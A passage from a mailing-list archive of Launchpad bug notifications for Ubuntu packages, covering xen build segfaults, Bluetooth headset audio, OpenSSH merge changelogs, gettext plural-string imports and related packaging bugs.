ip 7fe3681b7f3d sp 7ffcbbf16628 error 4 in 
libc.so.6[7fe368044000+194000]
  Jan 

[Touch-packages] [Bug 1958389] Re: Jammy builds of xen segfault, but only on launchpad x86 builders

[Colin Watson]

Both the failures linked here were on lgw01.  Have you seen this on
lcy02 as well, or only lgw01?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1958389

Title:
  Jammy builds of xen segfault, but only on launchpad x86 builders

Status in launchpad-buildd:
  New
Status in binutils package in Ubuntu:
  New
Status in xen package in Ubuntu:
  New

Bug description:
  FTBFS in Jammy on LP infra:
  
https://launchpadlibrarian.net/580924961/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa4_BUILDING.txt.gz
  
https://launchpadlibrarian.net/581060687/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa6_BUILDING.txt.gz
  Related PPA:
  https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/4760/+packages

  Summary:
  - Build reliably fails on LP
  - Build in local sbuild works reliably on my Laptop
  - Build in local VM (sizing like LP builders) works (other crashes but works)
  - Build on AMD server (chip more similar to LP) works reliably

  Failing step:

  On Launchpad build infrastructure it breaks on ld:
  $ x86_64-linux-gnu-ld -mi386pep --subsystem=10 
--image-base=0x82d04000 --stack=0,0 --heap=0,0 
--section-alignment=0x20 --file-alignment=0x20 --major-image-version=4 
--minor-image-version=16 --major-os-version=2 --minor-os-version=0 
--major-subsystem-version=2 --minor-subsystem-version=0 --no-insert-timestamp 
--build-id=sha1 -T efi.lds -N prelink.o  
/<>/xen/common/symbols-dummy.o -b pe-x86-64 efi/buildid.o -o 
/<>/xen/.xen.efi.0x82d04000.0 && :
  Segmentation fault (core dumped

  ---

  Steps to recreate (result depends on platform)

  # you can grab the package from https://launchpad.net/~ci-train-ppa-
  service/+archive/ubuntu/4760/+packages

  sudo vim /etc/apt/sources.list
  sudo apt update
  sudo apt dist-upgrade -y
  sudo apt build-dep xen
  sudo apt install flex bison python3-dev libpython3-dev dpkg-dev devscripts 
apport-retrace
  sudo mkdir /mnt/build
  sudo chmod go+w /mnt/build
  cd  /mnt/build
  # copy in things from host
  scp xen_4.16.0-1~ubuntu1~jammyppa6.dsc 
xen_4.16.0-1~ubuntu1~jammyppa6.debian.tar.xz xen_4.16.0.orig.tar.bz2 
ubuntu@:/mnt/build
  dpkg-source -x xen_4.16.0-1~ubuntu1~jammyppa6.dsc xen_4.16.0
  cd xen_4.16.0
  dpkg-buildpackage -i -us -uc -b

  ---

  In a jammy VM 4cpu/8G I get some avx2 crashes but the build works:

  Jan 19 07:41:27 j kernel: x86_64-linux-gn[130016]: segfault at 0 ip 
7f189432ef3d sp 7ffc8e2361d8 error 4 in libc.so.6[7f18941bb000+194000]
  Jan 19 07:41:27 j kernel: Code: f8 77 c3 66 2e 0f 1f 84 00 00 00 00 00 f3 0f 
1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 
00  fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:74
  74../sysdeps/x86_64/multiarch/strlen-avx2.S: No such file or directory.
  (gdb) bt
  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:74
  #1  0x7fa98d63c2d0 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #2  0x7fa98d6021e8 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #3  0x7fa98d602509 in coff_write_alien_symbol () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #4  0x7fa98d6033bd in _bfd_coff_final_link () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #5  0x562bdaaae3bf in ?? ()
  #6  0x7fa98d2e8fd0 in __libc_start_call_main 
(main=main@entry=0x562bdaaad5e0, argc=argc@entry=8, 
argv=argv@entry=0x7ffc797f2968) at ../sysdeps/nptl/libc_start_call_main.h:58
  #7  0x7fa98d2e907d in __libc_start_main_impl (main=0x562bdaaad5e0, 
argc=8, argv=0x7ffc797f2968, init=, fini=, 
rtld_fini=, 
  stack_end=0x7ffc797f2958) at ../csu/libc-start.c:409
  #8  0x562bdaaad515 in ?? ()

  ^^ that is a different crash than on th LP builders
  ! And despite those crashes the build does appear to work oO?!

  The same crashes I see on my local sbuild runs, the full set of one build is
  Jan 19 07:39:02 Keschdeichel kernel: x86_64-linux-gn[4131180]: segfault at 0 
ip 7f566e8b3f3d sp 7ffde04b75a8 error 4 in 
libc.so.6[7f566e74+194000]
  Jan 19 07:39:03 Keschdeichel kernel: x86_64-linux-gn[4131332]: segfault at 0 
ip 7fbba26e4f3d sp 7fffab8a5b68 error 4 in 
libc.so.6[7fbba2571000+194000]
  Jan 19 07:39:03 Keschdeichel kernel: x86_64-linux-gn[4131382]: segfault at 0 
ip 7fe3681b7f3d sp 7ffcbbf16628 error 4 in 
libc.so.6[7fe368044000+194000]
  Jan 19 07:39:42 Keschdeichel kernel: x86_64-linux-gn[4134584]: segfault at 0 
ip 7f241f455f3d sp 7ffd05c2e7c8 error 4 in 
libc.so.6[7f241f2e2000+194000]
  Jan 19 07:44:57 Keschdeichel kernel: x86_64-linux-gn[4171794]: segfault at 0 
ip 7fcbe1f2bf3d sp 7fff62005aa8 error 4 in 
libc.so.6[7fcbe1db8000+194000]
  Jan 19 07:44:57 Keschdeichel kernel: 

[Touch-packages] [Bug 1920248] Re: Anker Soundcore Life Q10 microphone not working

[Colin Watson]

I have a Soundcore Life Q30 headset and had a similar issue; I also
tried going down the ofono route and found it too much of a confusing
nightmare.

I ended up using the pulseaudio backport from
https://launchpad.net/~smoser/+archive/ubuntu/bluetooth/+packages and
also doing a local backport of bluez from impish, as well as the
/etc/pulse/system.pa and group membership changes from
https://www.freedesktop.org/wiki/Software/PulseAudio/Documentation/User/Bluetooth/#usingbluetoothwhenrunningpulseaudiointhesystemmode
(but not the rest of that page).  I haven't tried carefully rolling bits
of this back to find out exactly whether all four of those changes are
really needed; I'm sure that at least the pulseaudio backport is needed,
though, since you definitely need the changes from
https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/491.

With this, my headset mostly works for me, although I still sometimes
find that pulseaudio crashes when my phone is also connected to the same
headset, which results in everything confusingly switching back to the
internal speaker/microphone until I figure out what's going on and
disconnect my phone.  Not ideal - from the crash, I think
https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/617
may be related, though I haven't tried backporting that patch yet to see
if it helps.

Installing random backports is not for the faint of heart, so a more
sensible approach might be to try Ubuntu 21.10 (perhaps from a live USB
stick to start with, before committing to the upgrade).  Everything I
had to backport to get things working was from there, so there's a good
chance it will work better.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1920248

Title:
  Anker Soundcore Life Q10 microphone not working

Status in pulseaudio package in Ubuntu:
  Confirmed

Bug description:
  I have a ThinkPad E560 with ubuntu 20.04 and I'm trying to use my
  Soundcore Life Q10 with it, but the microphone doesn't work. I tried
  also to follow some answers here, but no one worked for me.

  I tried to use blueman, but I get Failed to change profile to
  headset_head_unit. I tried to install oFono, but I cannot compile
  phonesim due to some problem with dependencies version.

  I think that PulseAudio does not support HFP out of the box, and I
  found many other people that has this problem (see for example
  https://itectec.com/ubuntu/ubuntu-use-bluetooth-headset-with-
  microphone-hfp-in-ubuntu-18-04/)

  Is there any way to make my headset working?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1920248/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 8526] Re: After installer has run many debconf questions are not seeded

[Colin Watson]

** Changed in: debconf (Unity Linux)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to debconf in Ubuntu.
https://bugs.launchpad.net/bugs/8526

Title:
  After installer has run many debconf questions are not seeded

Status in debconf package in Ubuntu:
  Fix Released
Status in debconf package in Debian:
  Fix Released
Status in debconf package in Unity Linux:
  Invalid

Bug description:
  Automatically imported from Debian bug report #238301
  http://bugs.debian.org/238301

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/8526/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1946286] Re: Merge openssh from Debian unstable for 22.04

[Colin Watson]

I've just synced 1:8.7p1-1.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1946286

Title:
  Merge openssh from Debian unstable for 22.04

Status in openssh package in Ubuntu:
  Invalid

Bug description:
  Scheduled-For: 22.12
  Upstream: tbd
  Debian:   1:8.4p1-6
  Ubuntu:   1:8.4p1-6ubuntu2


  Debian typically updates openssh every 1 months on average, but it was
  last updated 21.08 and looks overdue.  Check back in on this monthly.

  
  ### New Debian Changes ###

  openssh
  openssh (1:8.4p1-6) unstable; urgency=medium

[ Colin Watson ]
* Rename ssh group to _ssh (closes: #990456).  It's only used by
  ssh-agent.
* debian/tests/regress: Don't fail cleanup if haveged isn't running.
* Backport from upstream:
  - Add includes.h to compat tests (closes: #992134, LP: #1939751).
* Use 'command -v' in maintainer scripts rather than 'which'.

[ Athos Ribeiro ]
* d/systemd/ssh@.service: preserve the systemd managed runtime directory to
  ensure parallel processes will not disrupt one another when halting
  (LP: #1905285) (closes: #934663)

   -- Colin Watson   Thu, 19 Aug 2021 11:04:01
  +0100

  openssh (1:8.4p1-5) unstable; urgency=high

* CVE-2021-28041: Fix double free in ssh-agent(1) (closes: #984940).

   -- Colin Watson   Sat, 13 Mar 2021 09:59:40
  +

  openssh (1:8.4p1-4) unstable; urgency=medium

* Avoid using libmd's  even if it's installed (closes:
  #982705).

   -- Colin Watson   Mon, 15 Feb 2021 10:25:17
  +

  openssh (1:8.4p1-3) unstable; urgency=medium

* Backport from upstream:
  - Fix `EOF: command not found` error in ssh-copy-id (closes: #975540).

   -- Colin Watson   Wed, 02 Dec 2020 10:32:23
  +

  openssh (1:8.4p1-2) unstable; urgency=medium

* Revert incorrect upstream patch that claimed to fix the seccomp sandbox
  on x32 but in fact broke it instead.

   -- Colin Watson   Mon, 26 Oct 2020 17:41:13
  +

  openssh (1:8.4p1-1) unstable; urgency=medium

* New upstream release (https://www.openssh.com/txt/release-8.4):
  - [SECURITY] ssh-agent(1): restrict ssh-agent from signing web
challenges for FIDO/U2F keys.
  - [SECURITY] ssh-keygen(1): Enable FIDO 2.1 credProtect extension when
generating a FIDO resident key.
  - ssh-keygen(1): the format of the attestation information optionally
recorded when a FIDO key is generated has changed. It now includes the
authenticator data needed to validate attestation signatures. 
  - The API between OpenSSH and the FIDO token middleware has changed and
the SSH_SK_VERSION_MAJOR version has been incremented as a result.
Third-party middleware libraries must support the current API version
(7) to work with OpenSSH 8.4.
  - ssh(1), ssh-keygen(1): support for FIDO keys that require a PIN for
each use. These keys may be generated using ssh-keygen using a new
'verify-required' option. When a PIN-required key is used, the user
will be prompted for a PIN to complete the signature operation.
  - sshd(8): authorized_keys now supports a new 'verify-required' option
to require FIDO signatures assert that the token verified that the
user was present before making the signature. The FIDO protocol
supports multiple methods for user-verification, but currently OpenSSH
only supports PIN verification.
  - sshd(8), ssh-keygen(1): add support for verifying FIDO webauthn
signatures. Webauthn is a standard for using FIDO keys in web
browsers. These signatures are a slightly different format to plain
FIDO signatures and thus require explicit support.
  - ssh(1): allow some keywords to expand shell-style ${ENV} environment
variables. The supported keywords are CertificateFile, ControlPath,
IdentityAgent and IdentityFile, plus LocalForward and RemoteForward
when used for Unix domain socket paths.
  - ssh(1), ssh-agent(1): allow some additional control over the use of
ssh-askpass via a new $SSH_ASKPASS_REQUIRE environment variable,
including forcibly enabling and disabling its use (closes: #368657).
  - ssh(1): allow ssh_config(5)'s AddKeysToAgent keyword accept a time
limit for keys in addition to its current flag options. Time-limited
keys will automatically be removed from ssh-agent after their expiry
time has passed.
  - scp(1), sftp(1): allow the -A flag to explicitly enable agent
forwarding in scp and sftp. The default remains to not forward an
agent, even when ssh_config enables it.
  - ssh(1): add a '%k' TOKEN that expands to the effective HostKey of the
destination. This allows, e.g., keeping host keys in individual files
using 'UserKnownHostsFile ~/.ssh/known_hosts.d/%k

[Touch-packages] [Bug 1946286] Re: Merge openssh from Debian unstable for 22.04

[Colin Watson]

I intend to merge all the Ubuntu changes for my next Debian upload and
then sync it, so there's probably no need to pay attention to this.

I'm preparing packaging of OpenSSH 8.8p1, but the current blocker is
that this drops the ssh-rsa signature algorithm by default (*not* the
public key type), and that needs changes to Twisted and probably
lazr.sshserver in order for Launchpad's SSH endpoints to support it; I'd
rather not upload a package that would break connectivity to
git.launchpad.net etc. out of the box.  I'm working on this but don't
yet have an ETA.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1946286

Title:
  Merge openssh from Debian unstable for 22.04

Status in openssh package in Ubuntu:
  New

Bug description:
  Scheduled-For: 22.12
  Upstream: tbd
  Debian:   1:8.4p1-6
  Ubuntu:   1:8.4p1-6ubuntu2


  Debian typically updates openssh every 1 months on average, but it was
  last updated 21.08 and looks overdue.  Check back in on this monthly.

  
  ### New Debian Changes ###

  openssh
  openssh (1:8.4p1-6) unstable; urgency=medium

[ Colin Watson ]
* Rename ssh group to _ssh (closes: #990456).  It's only used by
  ssh-agent.
* debian/tests/regress: Don't fail cleanup if haveged isn't running.
* Backport from upstream:
  - Add includes.h to compat tests (closes: #992134, LP: #1939751).
* Use 'command -v' in maintainer scripts rather than 'which'.

[ Athos Ribeiro ]
* d/systemd/ssh@.service: preserve the systemd managed runtime directory to
  ensure parallel processes will not disrupt one another when halting
  (LP: #1905285) (closes: #934663)

   -- Colin Watson   Thu, 19 Aug 2021 11:04:01
  +0100

  openssh (1:8.4p1-5) unstable; urgency=high

* CVE-2021-28041: Fix double free in ssh-agent(1) (closes: #984940).

   -- Colin Watson   Sat, 13 Mar 2021 09:59:40
  +

  openssh (1:8.4p1-4) unstable; urgency=medium

* Avoid using libmd's  even if it's installed (closes:
  #982705).

   -- Colin Watson   Mon, 15 Feb 2021 10:25:17
  +

  openssh (1:8.4p1-3) unstable; urgency=medium

* Backport from upstream:
  - Fix `EOF: command not found` error in ssh-copy-id (closes: #975540).

   -- Colin Watson   Wed, 02 Dec 2020 10:32:23
  +

  openssh (1:8.4p1-2) unstable; urgency=medium

* Revert incorrect upstream patch that claimed to fix the seccomp sandbox
  on x32 but in fact broke it instead.

   -- Colin Watson   Mon, 26 Oct 2020 17:41:13
  +

  openssh (1:8.4p1-1) unstable; urgency=medium

* New upstream release (https://www.openssh.com/txt/release-8.4):
  - [SECURITY] ssh-agent(1): restrict ssh-agent from signing web
challenges for FIDO/U2F keys.
  - [SECURITY] ssh-keygen(1): Enable FIDO 2.1 credProtect extension when
generating a FIDO resident key.
  - ssh-keygen(1): the format of the attestation information optionally
recorded when a FIDO key is generated has changed. It now includes the
authenticator data needed to validate attestation signatures. 
  - The API between OpenSSH and the FIDO token middleware has changed and
the SSH_SK_VERSION_MAJOR version has been incremented as a result.
Third-party middleware libraries must support the current API version
(7) to work with OpenSSH 8.4.
  - ssh(1), ssh-keygen(1): support for FIDO keys that require a PIN for
each use. These keys may be generated using ssh-keygen using a new
'verify-required' option. When a PIN-required key is used, the user
will be prompted for a PIN to complete the signature operation.
  - sshd(8): authorized_keys now supports a new 'verify-required' option
to require FIDO signatures assert that the token verified that the
user was present before making the signature. The FIDO protocol
supports multiple methods for user-verification, but currently OpenSSH
only supports PIN verification.
  - sshd(8), ssh-keygen(1): add support for verifying FIDO webauthn
signatures. Webauthn is a standard for using FIDO keys in web
browsers. These signatures are a slightly different format to plain
FIDO signatures and thus require explicit support.
  - ssh(1): allow some keywords to expand shell-style ${ENV} environment
variables. The supported keywords are CertificateFile, ControlPath,
IdentityAgent and IdentityFile, plus LocalForward and RemoteForward
when used for Unix domain socket paths.
  - ssh(1), ssh-agent(1): allow some additional control over the use of
ssh-askpass via a new $SSH_ASKPASS_REQUIRE environment variable,
including forcibly enabling and disabling its use (closes: #368657).
  - ssh(1): allow ssh_config(5)'s AddKeysToAgent keyword accept a time
limit for keys in addition to its current flag

[Touch-packages] [Bug 1922130] Re: Request addition of Fedora / Redhat "sftp-force-permissions" patch

[Colin Watson]

** Bug watch added: Debian Bug tracker #841237
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=841237

** Also affects: openssh (Debian) via
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=841237
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1922130

Title:
  Request addition of Fedora / Redhat "sftp-force-permissions" patch

Status in openssh package in Ubuntu:
  Triaged
Status in openssh package in Debian:
  Unknown

Bug description:
  Fedora / Redhat ships openssh with a patch which adds "-m force
  permission" flag to sftp-server.

  This is quite a common feature request / support request on the
  various stackexchange sites -
  https://superuser.com/questions/332284/in-sftp-how-to-set-the-default-
  permission-for-all-files-in-a-folder

  You will see that someone has answered "add -m" there which is indeed
  the simplest answer by a distance but unfortunately it's a non
  standard patch:

  https://src.fedoraproject.org/rpms/openssh/blob/f34/f/openssh-6.7p1-sftp-
  force-permission.patch

  This I think should supersede #563216 because they have been shipping
  this in production presumably since at least 2015 (I see it in fedora
  22 branch), so it is a known stable patch compared to the one
  suggested there.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1922130/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1756547] Re: LP refuses to import plural strings where e.g. msgstr[0] entries in PO file miss %d

[Colin Watson]

Launchpad intentionally imports even obsolete messages, although they're
tagged internally as obsolete and filtered out for various purposes.  I
think this is so that they can be used as suggestions in some cases (for
example, a similar message might still be used in another context).  For
that sort of purpose it can still be useful to know that the messages
don't parse correctly, because they couldn't be used directly as
suggestions without fixing the mistakes.

This is likely part of some work that was never completed, e.g.
https://bugs.launchpad.net/launchpad/+bug/281165 and
https://blueprints.launchpad.net/launchpad/+spec/rosetta-fuzzy-merge.

(Note that I'm reverse-engineering this from the code and from my
general understanding of translations, rather than with direct
information from the people who wrote the code.)

I can see that it might be useful to at least exclude errors about
obsolete messages like this from translation import failure emails.  If
you agree, could you file a separate bug about that?

** Changed in: ubuntu-translations
   Status: Triaged => Fix Released

** Changed in: gettext (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gettext in Ubuntu.
https://bugs.launchpad.net/bugs/1756547

Title:
  LP refuses to import plural strings where e.g. msgstr[0] entries in PO
  file miss %d

Status in Launchpad itself:
  Fix Released
Status in Ubuntu Translations:
  Fix Released
Status in gettext package in Ubuntu:
  Fix Released
Status in gnome-shell package in Ubuntu:
  Fix Committed

Bug description:
  Some strings of GNOME Shell are untranslated in the Czech translation
  on Ubuntu 18.04 although they are translated upstream and when I try
  to manually translate them on launchpad, I get this error: "number of
  format specifications in 'msgid_plural' and 'msgstr[0]' does not
  match".

  The bad strings are:
  %d minute ago
  %d minutes ago

  %d hour ago
  %d hours ago

  %d week ago
  %d weeks ago

  %d month ago
  %d months ago

  %d year ago
  %d years ago

  They seem to be correct, but they are not accepted for some reason.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1756547/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1756547] Re: LP refuses to import plural strings where e.g. msgstr[0] entries in PO file miss %d

[Colin Watson]

I'm not sure I'm really following the exact question here.  Could you
attach the message you got with the complaints?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gettext in Ubuntu.
https://bugs.launchpad.net/bugs/1756547

Title:
  LP refuses to import plural strings where e.g. msgstr[0] entries in PO
  file miss %d

Status in Launchpad itself:
  Fix Released
Status in Ubuntu Translations:
  Triaged
Status in gettext package in Ubuntu:
  Confirmed
Status in gnome-shell package in Ubuntu:
  Fix Committed

Bug description:
  Some strings of GNOME Shell are untranslated in the Czech translation
  on Ubuntu 18.04 although they are translated upstream and when I try
  to manually translate them on launchpad, I get this error: "number of
  format specifications in 'msgid_plural' and 'msgstr[0]' does not
  match".

  The bad strings are:
  %d minute ago
  %d minutes ago

  %d hour ago
  %d hours ago

  %d week ago
  %d weeks ago

  %d month ago
  %d months ago

  %d year ago
  %d years ago

  They seem to be correct, but they are not accepted for some reason.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1756547/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1756547] Re: LP refuses to import plural strings where e.g. msgstr[0] entries in PO file miss %d

[Colin Watson]

This should now be fixed on Launchpad's end: we're running the gettext
backport that you can see in https://launchpad.net/~canonical-is-
sa/+archive/ubuntu/launchpad/+packages.  Could you please try reverting
the workaround and make sure that things work properly now?

** Changed in: launchpad
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gettext in Ubuntu.
https://bugs.launchpad.net/bugs/1756547

Title:
  LP refuses to import plural strings where e.g. msgstr[0] entries in PO
  file miss %d

Status in Launchpad itself:
  Fix Released
Status in Ubuntu Translations:
  Triaged
Status in gettext package in Ubuntu:
  Confirmed
Status in gnome-shell package in Ubuntu:
  In Progress

Bug description:
  Some strings of GNOME Shell are untranslated in the Czech translation
  on Ubuntu 18.04 although they are translated upstream and when I try
  to manually translate them on launchpad, I get this error: "number of
  format specifications in 'msgid_plural' and 'msgstr[0]' does not
  match".

  The bad strings are:
  %d minute ago
  %d minutes ago

  %d hour ago
  %d hours ago

  %d week ago
  %d weeks ago

  %d month ago
  %d months ago

  %d year ago
  %d years ago

  They seem to be correct, but they are not accepted for some reason.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1756547/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1942139] Re: Debug symbols not available for 237-3ubuntu10.51

[Colin Watson]

The correct Launchpad project for this is ddeb-retriever - reassigning
there.

** Package changed: systemd (Ubuntu) => ddeb-retriever

** Changed in: ddeb-retriever
   Importance: Undecided => High

** Changed in: ddeb-retriever
   Status: Invalid => In Progress

** Changed in: ddeb-retriever
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1942139

Title:
  Debug symbols not available for 237-3ubuntu10.51

Status in ddeb-retriever:
  In Progress

Bug description:
  I am trying to install the debug symbols for systemd 237-3ubuntu10.51
  from http://ddebs.ubuntu.com/ for Ubuntu 18.04 (bionic) and they do
  not seem to be available. The latest version I see is systemd-dbgsym
  237-3ubuntu10.50 from http://ddebs.ubuntu.com/ubuntu bionic-
  updates/main. I do see the ddeb package file for version 10.51 here
  http://ddebs.ubuntu.com/pool/main/s/systemd/ but it does not seem to
  be included in bionic or bionic-updates package index files. Is there
  a timeline for when this will be released?

  Note that I am having the same problem with libsystemd0 with the same
  versions. Please let me know if I should open a separate bug for that
  issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ddeb-retriever/+bug/1942139/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1756547] Re: LP refuses to import plural strings where e.g. msgstr[0] entries in PO file miss %d

[Colin Watson]

https://portal.admin.canonical.com/C132790 (internal ticket)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gettext in Ubuntu.
https://bugs.launchpad.net/bugs/1756547

Title:
  LP refuses to import plural strings where e.g. msgstr[0] entries in PO
  file miss %d

Status in Launchpad itself:
  In Progress
Status in Ubuntu Translations:
  Triaged
Status in gettext package in Ubuntu:
  Confirmed
Status in gnome-shell package in Ubuntu:
  In Progress

Bug description:
  Some strings of GNOME Shell are untranslated in the Czech translation
  on Ubuntu 18.04 although they are translated upstream and when I try
  to manually translate them on launchpad, I get this error: "number of
  format specifications in 'msgid_plural' and 'msgstr[0]' does not
  match".

  The bad strings are:
  %d minute ago
  %d minutes ago

  %d hour ago
  %d hours ago

  %d week ago
  %d weeks ago

  %d month ago
  %d months ago

  %d year ago
  %d years ago

  They seem to be correct, but they are not accepted for some reason.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1756547/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1756547] Re: LP refuses to import plural strings where e.g. msgstr[0] entries in PO file miss %d

[Colin Watson]

Sorry for taking so long to get round to this; it had entirely fallen
off my list.  We haven't upgraded gettext from xenial's version yet, but
I've started preparing a backport in
https://launchpad.net/~cjwatson/+archive/ubuntu/launchpad/+packages.

** Changed in: launchpad
   Importance: Undecided => High

** Changed in: launchpad
   Status: Confirmed => In Progress

** Changed in: launchpad
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gettext in Ubuntu.
https://bugs.launchpad.net/bugs/1756547

Title:
  LP refuses to import plural strings where e.g. msgstr[0] entries in PO
  file miss %d

Status in Launchpad itself:
  In Progress
Status in Ubuntu Translations:
  Triaged
Status in gettext package in Ubuntu:
  Confirmed
Status in gnome-shell package in Ubuntu:
  In Progress

Bug description:
  Some strings of GNOME Shell are untranslated in the Czech translation
  on Ubuntu 18.04 although they are translated upstream and when I try
  to manually translate them on launchpad, I get this error: "number of
  format specifications in 'msgid_plural' and 'msgstr[0]' does not
  match".

  The bad strings are:
  %d minute ago
  %d minutes ago

  %d hour ago
  %d hours ago

  %d week ago
  %d weeks ago

  %d month ago
  %d months ago

  %d year ago
  %d years ago

  They seem to be correct, but they are not accepted for some reason.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1756547/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1381713] Re: Support policy query interface for file

[Colin Watson]

** Changed in: apparmor (Ubuntu)
 Assignee: Michael (pinky999) => (unassigned)

** Changed in: apparmor (Ubuntu RTM)
 Assignee: Michael (pinky999) => (unassigned)

** Changed in: media-hub (Ubuntu RTM)
 Assignee: Michael (pinky999) => (unassigned)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1381713

Title:
  Support policy query interface for file

Status in AppArmor:
  Triaged
Status in Thumbnailer:
  Fix Released
Status in apparmor package in Ubuntu:
  Fix Committed
Status in media-hub package in Ubuntu:
  Triaged
Status in mediascanner2 package in Ubuntu:
  New
Status in apparmor package in Ubuntu RTM:
  New
Status in media-hub package in Ubuntu RTM:
  Triaged

Bug description:
  This bug tracks the work needed to support querying if a label can
  access a file. This is particularly useful with trusted helpers where
  an application requests access to a file and the trusted helper does
  something with it. For example, on Ubuntu when an app wants to play a
  music file, it (eventually) goes through the media-hub service. The
  media-hub service should be able to query if the app's policy has
  access to the file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1381713/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916651] Re: asks about irc user home directory during upgrade

[Colin Watson]

** Bug watch added: Debian Bug tracker #990879
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=990879

** Also affects: base-passwd (Debian) via
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=990879
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to base-passwd in Ubuntu.
https://bugs.launchpad.net/bugs/1916651

Title:
  asks about irc user home directory during upgrade

Status in base-passwd package in Ubuntu:
  Confirmed
Status in base-passwd source package in Hirsute:
  In Progress
Status in base-passwd package in Debian:
  Unknown

Bug description:
  [Test Case]
  1) On an Ubuntu 20.10 system edit your /etc/apt/sources.list file to have 
